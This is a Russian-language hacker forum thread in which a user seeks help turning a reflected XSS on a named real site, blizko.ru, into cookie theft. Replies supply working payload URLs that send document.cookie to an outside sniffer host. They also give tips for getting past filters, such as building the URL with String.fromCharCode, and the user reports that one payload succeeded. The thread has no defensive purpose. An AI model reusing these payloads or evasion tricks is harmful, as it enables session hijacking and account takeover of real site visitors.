не шлются кукисы
 

Допустим есть пассив xss, юзаю снифф каника
http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Ealert('hacked%20by%2 0VITAL')%3C/script%3E&url=http://vital.h.com.ua

заменяю на
http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Edocument.location.hr ef='http://xxx.ru/s.gif?'+document.cookie%3C/script%3E&url=http://vital.h.com.ua не перенапрявляет на снифф=>кукисы не шлются
обрабатывается тока
http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Edocument.location.hr ef='http://xxx.ru/s.gif'%3C/script%3E&url=http://vital.h.com.ua
Пробовал с разными xss
Не пинать)))

Вместо "xxx.ru/s.gif?" попробуй "http://xxx.ru/s.gif?"

я так и делал, просто в теме неправильно указал, уже исправил

Это робит?

? и + фильтруются.

"><script>img = new Image(); img.src = String.fromCharCode(104,116,116,112,58,47,47,120,1 20,120,46,114,117,47,115,46,103,105,102,63)+docume nt.cookie;</script>
или так
я имею ввиду http://xxx замени на String.fromCharCode(
можно на don12.vip.su

пробовал вышеизложенное, не робит
на примере показать бы

http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Ealert('ggg')%3C/script%3E&url=http://vital.h.com.ua

заменяю alert('ggg') на "><script>img = new Image(); img.src = "http://xxx.ru/s.gif?"+document.cookie;</script>
резальта нет( или неправильный код?)

я пробовал своим так работает. Снифф точно рабочий?

.nor, спс
Всё выполнилось, используя твой посл код))
тока после этого попробовал сам
http://www.blizko.ru/goodlist?q=%22%3E%3Cscript%3Eimg = new Image(); img.src = "http://xxx.ru/s.gif?"+document.cookie;%3C/script%3E - не робит)
Какой исходный код? без обработки браузером, а то хз %3D,%2F чего откуда)))))